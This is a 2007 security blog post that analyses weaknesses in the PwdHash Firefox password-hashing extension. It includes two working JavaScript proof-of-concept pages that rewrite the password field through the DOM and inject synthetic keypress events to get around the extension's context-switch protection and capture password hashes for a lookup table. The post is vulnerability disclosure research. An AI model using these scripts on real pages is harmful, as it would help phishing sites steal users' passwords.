Friday, February 02, 2007

Attacking the PwdHash Firefox Extension

Well, SudoLabs got taken down since almost no-one was using it, so now troopa is using the domain for his blog, so I'm moving all the content here:




A while ago I saw an interesting paper/implementation of a way to hash and salt user passwords by domain, so that (I assume) phishing attacks would not be able to steal users' passwords because they are salted with the phishing domain rather than the targeted domain. You can find more info here: https://www.pwdhash.com/

If you read their paper, and the comments in the extension you'll see that they've got pretty much anything you can think of covered. One of the things they haven't been able to stop has been Flash based sniffers, because Javascript extensions don't have any control over 3rd party plugins.

But I have come up with a way to circumvent certain protections and possibly another attack.

To protect against context switching attacks when a user presses the @@ combination or the F2 key into a password field the context cannot be changed without alerting the user if there are less than 5 additional characters.

This is decent protection since you cannot steal the first 5 letters of a user's password, and since user passwords aren't particularly long those first 5 characters are vitally important.

But the extension developers made a few fatal mistakes - they allow the page to receive events of a user pressing the @ key (they do not allow the page to get the F2 key), and they also check how many characters there are in the text box by checking the DOM, and since we are not restricted from changing the DOM we can easily change the contents of the password box.

So what we can do is; detect two presses of the @ key, quickly change the value of the password box to testing or some similar string which is more than 5 chars long, set the focus to another element, and then change the value of the password box to two @ signs, and put the user back in place. you get a little flicker, but most users will discount that, anyway; here's an example:

<html>
<body>
<script language="javascript">

var text = document.createElement('div');
document.body.appendChild(text);
var last = null;

document.onkeypress = function (e) {

var key = String.fromCharCode(e.charCode);
if (last == '@' && key == '@') {
var pb = document.getElementById("pass");
pb.value = '@@testing';
window.setTimeout("context_switch ();", 1);
}
text.innerHTML = text.innerHTML + key;
last = key;
}

function context_switch () {
var pb = document.getElementById("pass");
var tb = document.getElementById("text");
tb.focus();
pb.focus();
pb.value = '@@';
}
</script>

<form>
<input id=pass type=password>
<input id=text type=password style=visibility:hidden>
</form>
</body>
</html>


Another thing Firefox allows you to do is create events, which can be sent to the DOM, and for some reason they do not go through extensions, this is a sort of double edged sword because while we cannot simulate a user typing to an extension, the extension is not aware of us sending events to the DOM.

And since the extension developers are sort of using the password box to store the password (the password box contains @@ABCDEFGH...etc which get mapped to the text you entered by the extension when they're computing the hash) we can insert text into the password box and have it included in the hash, and since we can inject the letters ABCD, etc, we can conduct an attack where we know that say each letter is repeated 3 times (by detecting keyboard events and then sending two of those events to the textbox again), this isn't a real attack atm since I haven't looked at the hashing algorithm, but it should make any cryptanalysis easier if we can repeat any number of letters any number of times.

Also, if we think we can get the user to keep on entering their password over and over again, we can just replace the textbox content with say @@AAAAA or @@BBBBB or @@CCCCC or similar so we can get a hash of a single character repeated, and then have a simple 256 value lookup table.




Ok, I figured out a way to defeat the fact that we can't detect the F2 key being pressed.

It does have some false positives, but this is just to show that an attack is still possible.

Anyway, what we do is detect when we get sent an A, we then check that the length of the text in the password box is > 0 and if it is, we send 4 As to the password box, and swap the context. And record some data, and all we need is a 256 value lookup table. Anyway, here's the PoC:

<html>
<body>
<script language="javascript">

var text = document.createElement('div');
document.body.appendChild(text);

var enc0 = null;
var enc1 = null;

document.onkeypress = function (e) {

var key = String.fromCharCode(e.charCode);
if (key == 'A') {
var pb = document.getElementById("pass");
window.setTimeout ("test_n_send();", 1);
}
text.innerHTML = text.innerHTML + key;
}

function test_n_send() {
var pb = document.getElementById("pass");
var tb = document.getElementById("text");
if (pb.value.length > 0) {
send4A();
enc0 = pb.value;
tb.focus();
enc1 = pb.value;
pb.focus();

var enc0b = document.getElementById("enc0");
enc0b.value = enc0;

var enc1b = document.getElementById("enc1");
enc1b.value = enc1;

}
}

function send4A() {

var i;

for (i=0;i<4;i++) {
var evt = document.createEvent("KeyboardEvent");
evt.initKeyEvent(
"keypress", // in DOMString typeArg,
false, // in boolean canBubbleArg,
false, // in boolean cancelableArg,
null, // in nsIDOMAbstractView viewArg, Specifies UIEvent.view. This value may be null.
false, // in boolean ctrlKeyArg,
false, // in boolean altKeyArg,
false, // in boolean shiftKeyArg,
false, // in boolean metaKeyArg,
0, // in unsigned long keyCodeArg,
65); // in unsigned long charCodeArg);

var pb = document.getElementById("pass");
pb.dispatchEvent(evt);
}
}

</script>

<form>
<input id=pass type=password>
<input id=text type=password style=visibility:hidden><br />
<input id=enc0><br />
<input id=enc1><br />
</form>
</body>
</html>

No comments: